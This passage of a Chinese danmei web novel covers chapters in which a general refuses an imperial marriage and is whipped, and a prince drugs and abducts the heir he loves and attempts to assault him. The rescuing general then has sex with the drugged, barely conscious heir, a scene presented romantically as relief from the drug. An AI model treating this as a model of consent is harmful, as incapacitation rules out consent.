沈翾抬了抬头,嗓音清澈道:“臣的府中,将来只会有世子一位夫人。” “臣不需要子嗣,也无需旁人照顾,臣只想与世子两相携手,共度此生。” 众人闻言皆面露震惊。 季寒也恍然愣住,眼里迸发出凛冽寒光,带着几分不甘。 他没想到沈翾竟会公然抗旨,也没想到他真的打算将阿遥娶为正妻…… 叶川遥静静地看着跪在前面的人,泪眼摩挲,心底却被柔情蜜意填满。 他就知道,他不会看错…… 他喜欢的人,值得他倾心相待。 “荒唐!”皇帝敛了笑,怒道:“有哪个朝臣会娶个男子作为正妻?” “大将军难道就如此不顾及自己的名声?” 沈翾面色不变,不为所动,坚定道:“若无先例,那臣便开了这个先例!” 他转头看向满脸泪湿的叶川遥,一字一顿道:“臣此一生,唯君不负!” 第66章 沈翾一席话让众人震惊不已。 一生只与一个男子厮守, 不纳妾,不留子嗣? 简直就是滑天下之大稽! 试问这世上有哪个人能做到如此专情? 别说他想要娶的是个男子,寻常人就算娶个家世样貌品行样样都好的女子, 也免不了要再纳上几房小妾。 而他沈翾竟想与一个男子以夫妻之名相守一生! 千百年来既有的认知被颠覆,他们一时只觉匪夷所思。 若是换了旁人说这番话,他们是断不会信的。 可偏偏这话是出自从不妄言的大将军之口, 一诺千金,容不得他们不信。 一时间, 有的扼腕叹息, 有的暗自高兴,也有的心生羡慕。 能得一人如此相待, 此生足矣。 皇后远远望着沈翾, 眉目间满是担忧。 皇帝明显已设好了局只等着他跳, 如今他公然抗旨, 皇帝怕不会善罢甘休。 若皇帝真的追究到底,就算无性命之忧, 只怕是也要脱掉一层皮。 这些年他们小心谨慎,生怕行差踏错便被皇帝抓了把柄, 万劫不复。 可没想到如今还是…… 她在心底默默叹了口气, 只盼着沈翾能有应对之法。 殿内气氛一时骤冷, 窃窃私语不绝。 大将军态度如此坚决,想来定是绝不肯应, 可皇帝已然动了怒,谁也无法预料此事会如何终了。 季寒冷笑一声, 阴阳怪气道:“大将军就算再劳苦功高,也该遵从皇命才是。” “难不成仗着军功在身,连陛下都不放在眼里了吗?” “六皇子这是哪里的话?” 兵部尚书韩策一脸不愤地站起身道:“我大盛民风开化, 嫁娶自由,大将军与郡主既无情意,岂有强凑一对的道理?” 有人附和道:“说的正是,将军与世子两情相悦,想来陛下也不忍棒打鸳鸯!” “大将军荒唐,陛下却替将军思虑周全。若将军执意抗旨,岂非不识好歹,辜负了陛下的一番美意?” “陛下尚未下旨,何来抗旨一说?陛下宅心仁厚,想必不会强人所难!” 两方各执一词,争执不休。 皇帝沉默不语,并未表态,也毫无阻拦之意。 叶川遥鼻尖发酸地远远瞧着。 这些人只想逼沈翾点头,根本不会在意他愿不愿意。 如今不断有人站出来替沈翾辩解,各地藩王刺史不了解他的为人,只会认为他结党营私,不把皇帝放在眼里,必有谋反之心。 而这场婚事也绝不简单,怕是还有更大的阴谋在等着他。 沈翾端身跪着,濯濯冷目轻垂,嗓音清透道:“陛下,臣方才所言句句真心,此桩婚事臣实难从命。” “臣言行有失,有负陛下美意,请陛下责罚!” 叶川遥抿唇远远看着他,心中悸动如春潮翻涌,直搅得他胸口直疼。 这些年沈翾步步为营,走到今日实属不易,如今却要为了他深陷泥沼…… 皇后看一眼堂下之人,弯唇轻笑一下,冲皇帝道:“陛下成人之美,本是好事一桩,只是……也该问问郡主的意思。” “陛下您说对吗?” 皇帝目光幽深地看她一眼,冷冷地嗯了声。 皇后对他眼里的寒意不以为意,淡淡地转头看向季兰青,嗓音温和道:“郡主,嫁给大将军,你可愿意?” 沐北王皱着眉看向自己的女儿,自知她一向有自己的主意,只是不知这次会如何抉择。 季兰青从方才起便低眉不语,脸上并无欣喜,却也并未慌乱。 她攥了攥衣裙,轻吸一口气,站起身端庄地朝皇帝皇后行过礼,不卑不亢道:“谢陛下隆恩。” “但臣女不敢欺瞒陛下。臣女早已与人定下婚约,实在不能嫁与大将军,请陛下恕罪!” 未料到她会如此回答,皇帝微微一怔,眼中生出隐隐郁火。 他黑着脸看向沐北王,嗓音不悦地问:“沐北王,方才你说郡主不曾婚配。” “竟是在欺君吗?” 沐北王连忙起身,弯着腰道:“臣不敢!臣……” 季兰青抬起头:“陛下明鉴,是臣女自己与人定下婚约,父王他并不知情!” 此言一出,全场哗然。 女子不比男子,男子私定终身,大家听着只当一乐,哪个男子没有几桩风流韵事。 可女子不同,女子的名节至关重要。 尤其是还未出嫁的女子,私定终身难免要遭人非议。 季兰青如此说,无疑是将自己的名节毁了,往后哪个正经人家还敢娶她? 不过这二人既都已与旁人私定终身,那这桩婚事的确有些不妥。 季寒眼中闪过灼灼戾气。 赐婚一事他思虑已久,昨日几番苦劝皇帝才答应下来。 为此他还与自己的母妃大吵一架。 郑贵妃本来对沈翾和叶川遥的事乐见其成。 比起任由沈翾娶个权势显赫的妻子回去添为助力,她宁愿沈翾同叶川遥厮混在一起。 可季寒偏偏费尽心机地想将两人拆散。 郑贵妃昨日指着他骂:“别以为本宫不知道你存的什么心思!” “为了一个男人耽误大业,我看你是昏了头了!” 季寒嗤笑了声,不以为意。 若得成大业,却失了阿遥,那又有何乐趣? 他难得耐心劝道:“母妃,沈翾乃父皇的心头大患,若儿臣能替父皇除了他,这太子之位,自然便是儿臣的。” 郑贵妃愣了愣,思虑一瞬道:“上次卫国公一事未能扳倒沈翾,你父皇已对我们母子有所不满。” “若此次你真有把握将他除掉,你父皇必然欣喜。” “可这与沈翾的婚事又有何干系?” 季寒笑道:“沐北王的封地与陵川相接,两人又是旧交。待沈翾与季兰青成婚,沐北王有了大将军的兵权助力,遂生出谋反之心……” 郑贵妃恍然大悟:“你是想给他们二人扣上谋反的罪名?” “可若他们行事小心,不给我们可乘之机又该如何?” “无妨,总会有法子。”季寒道,“父皇早晚都会对沈翾下手,只是缺一个契机。” “那儿臣便给他这个契机。” “至于真相如何,又有何人在意?” 他原以为此计万无一失,却没想到沈翾竟会抗旨不从。 皇帝忌惮沈翾,此事沈翾心知肚明,因此这些年步步谨慎,从无逾矩不敬。 如今却为了叶川遥不惜抗旨,实在出乎他的意料。 一生一世一双人…… 若他此生只与阿遥一人厮守…… 季寒停下思绪,目光幽沉看向季兰青道:“郡主说已与人互许终身,不知是哪位公子?” 季兰青朝自己不远处轻轻一瞥,顿了顿,温声道:“无名之辈,不值一提。” 季寒哼笑一声,却不罢休,继续追问道:“婚姻大事关乎女子一生,郡主不妨说出来,也好让诸位参谋一二。免得郡主遇人不淑,白白受苦。” 季兰青眸色微动,手指紧紧攥着裙边,一时不知该如何应对季寒的逼问。 方才所言不过是形势所迫,无奈之举。 她与大将军之间并无男女之情,自然不想嫁给他。 且方才听了沈翾的一席肺腑之言,她才终于得知叶川遥所说的心上人便是他。 她断不会做出毁人姻缘之事,于是情急之下,才有此一言。 可现下季寒句句紧逼,若她说不出个所以然来,那便是欺君之罪…… 正一筹莫展之际,陆清玖站出来,长身玉立高声道:“陛下,与郡主定下婚约之人,是微臣。” 陆锦和丈夫看向自己儿子,面露惊讶。 这小子,何时竟同郡主…… 也不早些同他们通个气! 季兰青愣在原地,不可置信地看着说话之人。 他是在……替自己解围吗? 皇帝眼中闪过微光,幽声问:“方刺史,此事你可知晓?” 方晋站起身,脑子快速转了转,道:“回陛下,此事犬子的确同老夫提过,只是近日事多,还未来得及去王府提亲。” 皇帝冷眼看着几人,沉默不语,看不出是在想些什么。 韩策闻言笑道:“如此说来,郡主与陆公子才是一对,将军与世子一对,皆大欢喜,皆大欢喜啊!” 堂下也传出隐隐附和声。 “是啊,既已任命彼此,若将人生生拆散,总归是有些不近人情……” “这么瞧着,这两对倒甚为般配呢!” 皇后看了眼皇帝,笑着道:“陛下,既如此,依臣妾之见,不如就成全他们几人吧。” “有陛下为他们做见证,也是他们的福气了。” 皇帝眼中闪过阴阴戾气,并未作声。 沈翾一直未曾起身,事已至此,总要给皇帝一个台阶下。 他躬身道:“臣有负皇恩,自领鞭刑五十,请陛下成全!” 端的一个言辞恳切,姿态恭敬。 当着文武百官的面,皇帝这下不答应也得答应了。 若他强行赐婚,想来只会落得个刻薄无情的名声。 沈翾既自愿领罚,那他便成全了他,也算是一解心头之恨。 也让藩王们都看看忤逆不尊的下场。 皇帝想了想,沉声道:“郡主既已有了婚约,那此事便就此作罢。” “大将军罔顾伦常,德行有失,罚鞭刑五十,以示惩戒。” “望将军克己三思,莫要再离经叛道,一意孤行。” 沈翾抬起头,面色自然地叩谢道:“臣领旨,谢陛下隆恩。” 第67章 众目睽睽下, 沈翾起身出了大殿,一身玄衣随风扬起,脚步沉稳有力, 没有丝毫迟疑和畏惧。 叶川遥红着眼远远望向那道挺拔的背影,不禁喉咙发紧,心口如撕裂般的疼。 沈翾的后背已经伤痕遍布, 今日过后,又不知要添多少道新疤。 从前他是为家国百姓而伤。 而如今, 却是为了他, 要被自己誓死效忠的朝廷所伤…… 这个木头,还真是傻得可怜。 韩策同几位武官亦是眼底猩红, 怒火中烧, 一副随时准备揭竿而起的模样。 季泽蹙眉朝对面几人摇摇头, 示意他们莫要冲动。 当着文武百官的面, 今日必须让皇帝将这口气出了。 韩策等人自然也明白,虽不甘心, 也不得不暂且忍下。 心中郁闷难当,只能往嘴里猛灌烈酒, 将满心躁郁暂且压下。 沈翾甩了甩衣摆, 抬手将外袍褪了去, 于大殿外径直跪下。 目光淡淡地落在前方的虚无之处,笔直的身姿不曾晃动半分。 不多时, 挥鞭声响起。 强劲清脆,一声一声, 清晰可辨。 一鞭子下去,皮开肉绽。 鲜红的血痕透过白色的里衣渗出来,触目惊心。 沈翾一声不吭, 面无表情,好似并无察觉,只有额头上渗出的细密汗珠才能窥见几分他的隐忍。 皇帝淡淡地睨一眼殿外之人,嘴角弯了弯,冲殿中众人道:“今日美酒佳肴丰足,众爱卿只管尽兴。” “奏乐!” 殿内丝竹又起,轻歌曼舞间欢笑阵阵。 “臣敬陛下,祝陛下万事顺意,福泽万年!” “敬陛下……” 皇帝接受着众人的恭维,殿内欢笑声四起,与殿外清脆的鞭打声对比鲜明。 当真是讽刺。 叶川遥看着这些人丑陋贪婪的嘴脸,只觉厌恶至极,愤恨难消。 这般声色犬马的日子,皆是大将军受尽苦楚,多少次以命相搏才换来的。 可他们非但不心存感激,竟然还对他凌辱至此。 这样毫无天理的世道,真反了又如何! 他红着眼,强忍着跑出去的冲动,双手都在不住地轻颤。 见他如此,叶青云用力握了握他的手,低声道:“阿遥,别冲动。” “这五十鞭,大将军他必须要受,躲不掉的。” “忍一忍,忍一忍……就过去了。” 嘴上如此说着,却也不由地嗓音发颤。 这些年来,大将军为朝廷受了多少苦,如今却要遭受此等罪责。 上天不公啊! 觥筹交错,推杯换盏,有人在得意地笑,有人却难掩悲痛。 耳边嘈杂隔绝,叶川遥静静听着鞭子落下时皮开肉绽的闷响声。 他默默地数着,仿佛每一鞭都抽在他的心上。 每一下都是煎熬。 不知过了多久,响声骤停。 叶川遥抿唇盯着殿外,不多时,终于有侍卫进来回禀:“启禀陛下,五十鞭已足数施刑。” 皇帝漫不经心地嗯了声,沉声道:“让人把大将军送回去,准他三日内不必早朝。” “是!” 明烛一直立在殿外,忍着泪眼睁睁看着沈翾受完刑。 鞭子一收,他赶忙将人扶起来,搀扶着带走。 沈翾面色苍白,脸上渗出涔涔冷汗。 低声冲明烛道:“让人将世子送回国公府。” 明烛点头急道:“好,我知道。我们先回府,将军伤势严重拖不得!” 他将人一路带出宫,搀上马车,朝侍卫吩咐道:“马上去请张太医,让他带上最好的药材去府里等着。” “另外等宫宴结束后,护送世子和国公爷回府。” 侍卫应声道:“是,属下领命。” 随即兵分两路,各自离去。 明烛安排妥当,便快马加鞭往府里赶,急得满头大汗。 如此炎炎夏日,这满身的伤口定疼痛万分,需得赶紧让太医处理才行。 大殿内,叶川遥起身去寻沈翾,却被季寒抬手拦了去路。 叶川遥抬眼看他:“六殿下这是何意?” 季寒抬了抬手中的酒壶,笑容温和道:“世子,本王敬你一杯,算是恭喜世子与大将军……两情相悦。” 叶川遥面无表情地看着面前之人。 恭喜? 他会如此好心? 他朝季寒点了点头,语气冷淡又疏离。 “殿下,草民身子不适,先行告退。” 季寒却不肯放他走,在周围探究的目光中轻轻一笑,压低嗓音道:“世子这是急着去看大将军?” “怎么,这就心疼了?” 叶川遥心中焦急万分,不想与他废话,抿唇道:“殿下究竟想要怎么样?” 见他一脸不耐,季寒心里一痛,更坚定了心中的打算。 既然无论如何也得不到阿遥的喜欢,那他便得到他的人,把他困在自己身旁。 他要让阿遥只是他一个人的,只待在他身边…… 季寒顿了顿,轻笑道:“世子只要喝了这杯酒,我便让宫人送世子出宫,如何?” 在宫内行走需有宫人陪同,不可擅自走动。 叶川遥垂眸看了眼季寒手里的酒壶,心生戒备。 但转念一想,就算季寒再疯,还不至于在宫里当着百官的面对他动手。 他心里着急,顾不上思虑太多,遂拿起酒杯,冷声道:“请殿下言而有信。” 季寒笑笑,往他杯中斟满酒,又同他碰了碰杯,柔声道:“阿遥,本王待你一片赤诚,你早晚会明白,本王才是你最好的选择。” 叶川遥仰头将杯中酒饮尽,对他的话视若罔闻。 “殿下这回可以放草民离开了吗?” 季寒满足地勾了勾唇,朝身旁的宫人道:“好生送世子出去,不可有任何闪失。” 叶川遥跟着宫人出了大殿,急忙朝宫门口而去。 宫人险些跟不上他的脚步,脚下一踉跄,摔倒在地。 叶川遥停下脚步,虽心里焦急万分,还是伸手将人扶了起来。 “在下有急事,实在是劳烦公公了。” 宫人站起身,拿帕子擦了擦手上的泥,躬身道:“世子哪里的话,是奴婢手脚不利索,还请世子多多包涵才是。” 叶川遥笑笑:“公公客气了,走吧。” 二人继续前行,眼见着快到宫门口,叶川遥忽觉头上一晕,险些摔倒。 为何突然如此头晕? 身上也使不上力气…… 他看向身旁的宫人,见他咧嘴冲自己笑道:“世子不胜酒力,奴婢扶您。” 叶川遥晃了晃脑袋,跟着宫人继续往宫门处走。 头越来越晕,双脚渐渐无力,他被那宫人架着往前,只觉周身越来越软。 觉出不对,他轻喘着问:“你要…带我去哪?” 宫人边走边道:“奴婢自然是送您出宫啊!” “国公府的马车就候在宫门口,奴婢这就送您过去。” 叶川遥半信半疑,只希望是自己想错了。 宫门口定有沈翾的人在等他,只要出了宫,他便可以安然无恙。 终于出了宫门,将军府的侍卫一见叶川遥出来,便上前准备将人接走。 却被另外几人拦下。 那几人从宫人手中将人接过,拱拱手道:“就不劳烦几位爷了,国公府的马车已在那边候着,我等这便送世子回府。几位爷请回吧。” 几名侍卫朝身后看了看,见国公府的马车的确停在不远处。 几人互相看了眼,却还是不放心道:“我等奉命护送世子回府,既如此,便同你们一道吧。” 扶着叶川遥的那人想了想,道:“如此也好,那就劳烦几位爷了。” 叶川遥迷迷糊糊地上了马车。 他只觉这几个人脸生,奈何药力越来越盛,他的头已经不负清明,浑浑噩噩无法思考。 马车行得很快,几名侍卫在后面紧紧跟着,生怕世子有什么差池,他们无法回去复命。 本以为一切顺利,未曾想途中经过巷子口,突然冲出一辆马车,将几人拦在狭窄的巷子里。 叶川遥所在的马车则拐了个弯,转眼便不见影踪。 几名侍卫见状意识到不对,忙将挡路的马车赶走,策马追了上去,却一无所获。 “快去禀报将军,世子被人劫走了!” 明烛还未带着人到达府中,见护送世子的侍卫追上来,心中一震。 “不是让你们送世子回去?怎么这么快回来了?” 侍卫跪下道:“属下办事不利,世子被人劫走了!” “什么?”明烛急道,“可知道是什么人干的?” “不知,但他们赶的是国公府的马车,朝城东的方向去了!” 城东…… 沈翾从马车里出来,翻身上马,冲几人道:“明烛跟我走。” “你们几个带上人,立刻去六皇子府。” 几人忙应道:“是!” 叶川遥神思恍惚地被带进一间屋子。 他费力地睁了睁眼,在屋里子环视一圈,却看不出任何头绪。 这个地方,他未曾来过。 他的身上越来越热,浑身上下使不出一点力气。 门被反锁着,也绝对逃不出去。 不知为何,前世的记忆陡然袭来。 如此相似的场景,如此相同的绝境,他难道又要重蹈覆辙了吗? 他用力掐了掐手臂,强撑着坐起身来。 正在这时,门被打开,季寒慢步进来。 他看着床榻之上眉头紧蹙的人,走上前笑道:“阿遥,又见面了。” 第68章 叶川遥弓着身, 纤长手指撑于床榻之上,鬓边垂下几缕柔丝。 他抬头看向来人,竭力压下胸口轻喘。 泛着红晕的脸颊因为隐忍而略显狼狈, 却更添几分凄美。 他微眯着眼看着正朝自己走近的人。 看着那双同前世一般无二,带着疯狂和痴迷的眼睛。 “你在酒里…下了药?”叶川遥艰难道。 季寒走到榻前,在他面前屈膝蹲下, 微仰起头看着他,眼底熠熠生辉。 “叶哥哥, 你可知, 你现在这副样子有多美?” “本王好想把你藏起来,不让任何人看见。” “只有我能。” 他抬手捻起一缕乌黑发丝, 送至鼻尖闻了闻, 轻吸一口气:“叶哥哥, 你身上的味道, 本王好喜欢……” 叶川遥侧头躲开他的触碰,心底一阵反感。 前世他劝说无果, 这一次他本不想再浪费唇舌。 但他如今浑身无力,无法自保。 此处又四面封闭, 连投湖都没的投。 只能先想法子拖上片刻, 等着沈翾带人来救他。 他努力让自己保持清醒, 看着面前的人道:“你想做什么?” 季寒起身坐到桌前,慢条斯理地给自己倒了杯茶。 嘴角带着一抹浅笑, 似乎并不急着做什么。 倒更像是在欣赏自己的猎物。 看着对方挣扎隐忍,不可自控, 他的心里便涌出一丝奇妙的快感。 他单手托腮撑在身侧的桌案上,似有几分孩子气。 可口中所吐之言却让人不寒而栗。 “阿遥,本王说过, 你是本王的人,逃不掉的。” 叶川遥压下心中恶寒,同前世一般颔首道:“六殿下,我身无长物,若留在这里,恐污了殿下圣名。” “还请殿下高抬贵手,放了草民。” “放了你?” 季寒站起身,缓缓走到他面前,狭长的双眼无辜地眨了眨。 笑着道:“你可知,本王费了多少心思才把你弄来,就这么把你放了?” “叶哥哥,你当本王是傻的吗?” 两世的情景交替着重叠闪现。 叶川遥一时有些分不清自己究竟身在何处,又今夕何年。 他抬头望向面前之人,皱着眉道:“国公府虽不是天潢贵胄,却也是先皇亲封,更有从龙之功。” “殿下今日堂而皇之地将我掳来,就不怕朝臣弹劾,陛下怪罪吗?” “怪罪?” 季寒嘴角挂着笑,眼里却透出一抹杀意,俯身逼近面前的人。 “你觉得,本王会怕?” 叶川遥向后一仰,躲开快要触及面颊的手,眼里闪过一抹厌恶。 季寒将他的反应看在眼里,却并不在意。 只是笑着步步紧逼,直到榻上之人靠在床帏之上,退无可退。 他看着面前忍到青筋暴起的人,笑了笑:“别躲了阿遥,今日你跑不掉的。” 季寒嘴角勾起一抹势在必得的冷笑,伸手解开华贵外袍,随手扔在脚边。 “你要做什么?”叶川遥全身一僵,呼吸一滞。 季寒将人困于胸前,看着那双布满惊惧的美目,嘴角哼出一声笑。 “阿遥,你现在是不是觉得全身如火烧一般?” “不用怕,一会儿便会好了。” “乖一点,本王自会好好疼你。” “殿下请自重!” 叶川遥拼尽全力将面前的人推开几寸,偏头躲开灼热的呼吸。 嗓音颤抖着道:“殿下今日若当真辱了我,我定会告到御前……” “哪怕磕得头破血流,也定要请皇上做主!” “哈哈哈哈哈哈……” 季寒疯狂地大笑几声,眼底的阴翳越发浓烈。 “只要能得到你,就算被父皇责罚又怎么样?” “本王才不在乎!” 他的眼中漫出火热粘稠的光,嗓音愈发低沉,带着些近乎癫狂的痴迷。 “叶哥哥,我真的好喜欢你……” “每个夜里我都在想你。” “想把你压在身下,想要你只做我的人。” 他看着面前面若桃花般美好的人,突然顿了顿,声音轻了些,如自言自语般轻喃。 “那年的桂花酥,我一直记着。” “可你却再也不肯对我笑了。” 叶川遥皱了皱眉,遥远的记忆缓缓苏醒,一时微怔。 当年那个倔强隐忍的小小少年,又究竟为何会变成如今的模样? 季寒回过神,看着面前的人颓然笑道:“本王知道,叶哥哥的心里不会有本王。” “既如此,那本王便将你困在身边。” “让你日日夜夜,都只能看着本王一人。” 叶川遥紧咬牙关,用尽气力压制着身上的躁动,硬生生从牙缝里挤出几个字:“季寒,你疯了!” “我是疯了!” 季寒眼底猩红,半哭半笑道:“只要能得到你,本王什么都愿意做。” “可你为什么就不肯看本王一眼?” “沈翾他究竟有什么好?” 他直直地盯着面前的人,语气里满是不甘。 “这天下早晚是本王的,本王可以给你无上的尊贵,锦衣玉食,呼风唤雨,他能给你什么?” “让你陪着他颠沛流离,刀尖舔血吗?” 叶川遥这会儿脑子里一片浆糊,身上也热出了一层汗。 可听季寒如此说,却仿佛陡然清醒了几分。 他怒视着面前神情癫狂的人,咬牙切齿地骂道:“将军他比你好百倍,千倍……” “你这种阴沟里的臭虫,只配躲在黑暗下,永远见不得光。” “还想要我喜欢你?” 他不屑地嗤笑一声:“你连他的一根头发都比不上……” “那年的桂花酥,我只当喂了狗。” “若能重来一次,我绝不会靠近你半分……” 绝情又冷漠的一番话让季寒的脸色又阴沉了几分。 他抬手扼住叶川遥的喉咙,眼里迸发出层层怒火。 叶川遥看着他,一字一顿道:“季寒,你这样只会让我更恨你。” 季寒松了松手上力道,苦笑一声:“那又如何?” “你早就已经恨着我了,不是吗?” “恨便恨吧,至少你还会一直记着我。” 灼热的气息向身前袭来。 叶川遥绝望地想,老天爷应该对他很失望吧? 明明给了他重来一次的机会,却还是被他给搞砸了…… 他攥紧拳头,正想拼尽全力撞向高墙之际,房门忽地被一脚踢开。 沈翾一脸冷肃踏门而入,直冲到床榻前,将季寒一把拽起扔到地上,一脚踹出了两丈远。 季寒闷哼一声,捂着肚子狼狈地蜷缩着,眼神恶狠狠地盯着头顶之人。 “沈翾,你是要造反吗?” 沈翾并未理会他,径直走到榻前,蹲下身看着满头薄汗的人问:“哪里难受?可还撑得住?” 紧绷的神经在看见来人的一瞬间终于放松下来。 叶川遥用力呼出一口气,身子一软倒在沈翾怀里,神色恍惚地道:“酒里,他在酒里…下了药。” 见他难受得紧,沈翾将人打横抱起,大步朝着门外而去。 季寒站起身将人拦住:“沈翾,今日你若敢将人带走,明日本王便让父皇治你个谋反之罪。” “你当真要为了他什么都不顾了吗?” 沈翾眸色阴翳地看向他,沉声道:“六皇子,你想与我斗法,我沈翾随时奉陪。” “但你若敢动他一根头发,我要你的命。” 说完大步踏出房门,朝着大门外快步而去。 季寒的心里被不甘填满,他怒不可遏地冲门外一众侍卫喊道:“沈翾擅闯皇子府,罪同谋反,立刻将他拿下!” 明烛带着人拦在门前,哼笑一声:“就凭你们?” 他拔出手中利剑,转头冲沈翾道:“将军,你带阿遥先走,这里交给我。” 沈翾嗯了声,抱着人径自离开。 他将人带上马车,车夫立即驾车疾行。 药力越来越猛,叶川遥这会儿已经有些神志不清。 他眯着眼,许久才看清面前的人。 费力地出声道:“你的伤……” “无妨。”沈翾不以为意地说了句。 他看着叶川遥愈发红晕的脸色,心疼地眉头紧蹙。 “再撑一下,马上就到,太医已经在府里等着了……” “热……” 叶川遥只觉口干舌燥,胡乱地扯了扯外袍,露出一截雪白的锁骨。 嘴里喃喃道:“好热,好渴……” 见他难受得紧,沈翾冲外面喊道:“再快点!” “是,驾!”车夫挥了挥手中长鞭,策马疾行。 马车颠簸,晃得叶川遥愈发难受,身上每一处都好似着了火一般。 他迫切地想要寻一抹凉意,来缓解身上的灼烧感。 发着烫的纤长手指不由地抓紧面前的人。 “将军,我好难受…” “你亲亲我,好不好?” “我……”沈翾低喘一声,说不清是因为身上的躁动还是因为后背撕扯般的伤。 他握紧叶川遥的手,轻声道:“阿遥,再坚持一下,等回了府,太医定有法子。” 叶川遥这会儿已经听不清他的话。 药力上涌,面前又是自己的心爱之人。 此时沈翾低沉的嗓音落在他的耳朵里便如情蛊一般,带着致命的诱惑。 他抬手圈上沈翾的脖子,下巴径直向前探去。 双唇紧贴,身上的燥意瞬间被极致的快感代替。 沈翾后背一麻,情动的颤栗与伤口的灼烧混杂在一起。 叶川遥浑身上下烫得厉害,肤白如玉的手臂勾在沈翾的脖子上,舌尖灵活地游走着。 沈翾的呼吸不由地又急促了几分。 他将人紧紧按在怀里,转守为攻。 车辙声将欲念的轻呻掩盖,滚烫的温度传至两人身上的每一处。 叶川遥时而清醒,时而昏沉。 清醒时便皱着眉担心沈翾后背的伤势,一双殷红的桃花眼泛着清泪,问他是否疼得厉害。 昏沉时却只想靠在沈翾身上,攀着他的脖子想让他亲他,摸他,好一缓那股燥热。 一路折腾个不停。 许久后,马车疾驰着停在云水阁外。 沈翾将外袍披在叶川瑶身上,将人抱下马车,直奔着卧房而去。 “世子这是怎么了?” 云画跟在后面问,一眼瞥见沈翾后背的伤,吓得哭出声来。 “将军你的伤……” 沈翾一脚踹开房门,厉声道:“守住院子,任何人不得入内。” “把他们都带出去!” “是!” 云画忙带着大家退到院子外,将大门关紧。 沈翾将人轻轻放到床上。 药力还未散去,叶川遥拧着身子蜷缩着,眉头因为情动紧紧皱着。 雪白的皮肤泛着红晕,如春日里的桃花,艳丽夺目。 沈翾扯下外袍,毫不犹豫地倾身上前。 漫漫长夜,只余一室旖旎春光。 第69章 金鸡报晓, 晨曦熹微,长夜终散。 窗前透过一缕金色晨光。 借着光,叶川遥隐隐窥见床幔之上那几道闲云野鹤的图样。 哦对了, 还有沈翾淌着热汗的胸肌,以及那流畅紧绷的腰身。 药力散尽,体力和意识都已濒临极限。 叶川遥闭上眼, 再顾不得其他,自顾沉沉睡去。 只是睡去的那一瞬还不禁在想, 如此孜孜不倦地折腾了一夜…… 他背上的伤, 可还受得住? 伤得那么重,需得赶紧找太医医治才是…… 再醒来时已入黄昏, 天边只余一抹残霞。 叶川遥疲惫地睁开眼, 纤长的羽睫缓缓眨了几下。 适应了好一会儿, 才神识归位。 恍惚间他想起昨夜与季寒对峙的场景, 忽地浑身一紧,一脸防备地看向屋内。 直到看见熟悉的床幔, 才渐渐放松下来。 喉咙又干又疼,仿佛在冒烟。 叶川遥动了动, 想翻身下地倒杯水喝。 才方一挪了挪腿, 只觉某处传来撕裂般的疼。 他倒吸一口冷气, 疼得头皮都跟着一抽,眼眶瞬间被热泪打湿。 他这是……被用刑啦? 荒谬的想法很快散去, 零星散落的记忆缓缓在大脑里浮现。 画面太刺激,他甚至有些不敢回想。 耳廓不由地红了一片。 叶川遥认命地躺回去, 目光复杂地瞪着天花板。 只等着哪个好心人能早些进来,解救一下他这条快要渴死的咸鱼。 没一会儿,果然天降救星。 沈翾推门而入, 走到榻前。 见他醒了,抬手在他额前探了探,舒了口气道:“还好,并未发热。” 叶川遥看着面前的人,嘴巴轻轻一张一翕,低声道:“我想喝水……” 一张嘴,自己先吓了一跳。 他的嗓子怎的哑成了这样? 难不成……跑到院子里彻夜高歌了? 沈翾倒了水递到他嘴边。 叶川遥抬了抬头,想坐起身来,身下又陡然一疼。 他嘶地一声咧了咧嘴,眉头皱成一团。 沈翾忙将人扶住,手臂托着他的头,端起水喂到他嘴边。 叶川遥就着杯子喝了几口,总算觉得嗓子好受了些。 沈翾将人抱在怀里。 见他脸色苍白,眉头微蹙,低头看着他问:“可是那处疼得厉害?” “……” 叶川遥点点头,眼底不由地湿了一片,哽咽道:“好疼……” “感觉好像被撕成了两半……” “动不了了……” 沈翾抿唇不语,脸上尽是怜惜之色。 顿了顿,还是觉得同他解释一下为好。 毕竟,他可不想让阿遥以为,他是个不懂怜惜的孟浪之辈。 他沉了口气,看着他问:“昨夜的事,你可记得?” 叶川遥躺在沈翾腿上,睫毛轻垂着,低声喃喃道:“马车上的事,还依稀记得一些。” “后面的……就记不大清了。” 说着脸上不禁一热。 当时马车跑得飞快,他只求车夫不曾听见什么不该听的。 就他们在车上做的那些荒唐之举,若是传出去,他这张脸怕是不用见人了。 他说完仰头看了沈翾一眼,抿着唇慢吞吞地明知故问道:“昨夜你带我回府后……都做了什么?” 血脉喷张的画面猝不及防地出现在沈翾的脑海里,久久地挥之不去。 他身子一僵,只觉身下猛地窜出一股无名之火。 呼吸陡然一沉。 叶川遥觉出他的变化,也跟着全身一僵,一动也不敢动,不知该如何是好。 大将军果然威武。 被他折腾了整整一夜,这会儿居然还能…… 两人沉默一瞬,谁都不再动。 须臾之后,欲.念渐渐退去,沈翾将软枕垫在叶川遥颈下,扶着他轻轻躺下。 如今两人什么都做了,也没有什么好藏着掖着。 沈翾坐在床边,将昨夜之事慢慢道来。 “昨日你中了药。” “我本想带你回府让太医医治,但药效发作得太快,你根本熬不住。” “情急之下,我便想替你解了那药。但药力太过猛烈,久久未散。” “你贴的紧,我实在杠不住……” “好了!”叶川遥耳尖红着喊道。 他可不想听沈翾一本正经地回忆他求欢的来龙去脉! 沈翾不再继续往下说,皱着眉沉声道:“是我不好,没想到会……将你伤得如此重。” 见他一脸懊恼,眉头紧蹙,叶川遥轻声道:“我没有怪你。” “昨夜你能及时将我救下,已然是万幸了。” “你若再晚来片刻,我怕是只能撞墙自尽,魂归天际了。” 沈翾想想也不禁后怕:“不该将你自己留在宫里的,是我疏忽了。” 叶川遥捏了捏他的手心,道:“是我急着去找你,未加防范才中了季寒的奸计,与你无关。” “我说疼,其实只是想让你哄哄我……” 柔然的嗓音如同猫儿的爪子一般挠在沈翾的心上。 他的心底软成一片,抬手轻轻捋了捋叶川遥轻柔的发丝,柔声道:“一会儿让太医过来给你瞧瞧。” “伤处也需得上了药,好好养上几日才行。” 一听要让太医检查自己的伤处,叶川遥立马瞪着眼拒绝。 方才还柔弱如娇花,这会儿却来了精神,嗓音都不自觉地高了几分。 “不必了,我自己养两天便好,这点小伤还是不必劳烦太医了!” 这事他在沈翾面前说也就罢了,两人肌肤相亲,自然不必避讳。 但让太医看他的伤处,他就是脸皮再厚,也抗不住这个啊! 沈翾轻叹道:“让太医先诊脉看看,若伤得重,自是需要好好医治。” 叶川遥捂着脸道:“真的不必了,你让太医随便开点药便是。” 沈翾想了想,终于应下:“也好。” 说完又道:这几日我亲自照顾世子,可好?” 叶川遥嗯了声:“那我要你日日夜夜都陪着我,不许离开半步……” 沈翾柔声笑道:“好……” 